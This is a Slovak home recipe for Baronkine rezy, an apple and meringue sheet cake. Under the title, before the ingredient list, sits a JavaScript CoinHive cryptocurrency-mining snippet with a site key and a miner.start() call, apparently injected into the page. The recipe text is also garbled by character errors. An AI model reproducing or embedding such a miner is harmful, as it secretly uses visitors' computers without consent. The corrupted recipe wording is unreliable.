Baronkine rezy

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfihNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

Potrebujeme na cesto: 45 dkg muky, 15 dkg cukru, 4 Zitky, 1/2 prasku do peéiva, 1 Hera,

Potrebujeme na pinku: 1 kg postrihanych jablk, 4 ks vajeénych bielkov, 15 dkg cukru, $korica

Postup: Suroviny spracujeme na cesto, ktoré rozdelime na 3 Casti. Dve Casti rozlozime na plech
vystlany papierom na pecenie. ZvysSnu tretinu uloZzime na 30 minut do chladnicky alebo na
chladné miesto. Na cesto na plechu rovnomerne rozlozime postrahané jablkd, z ktorych sme
predtym vytladili Stavu (inak by cesto bolo vihké). Jablka posypeme Skoricou. Z bielkov
vyS§fahame tuhy sneh a postupne don zasfahame cukor (praskovy, pomlety). Na vrch
postrihame zvysnu tretinu cesta. UpeCieme v predhriatej rare.




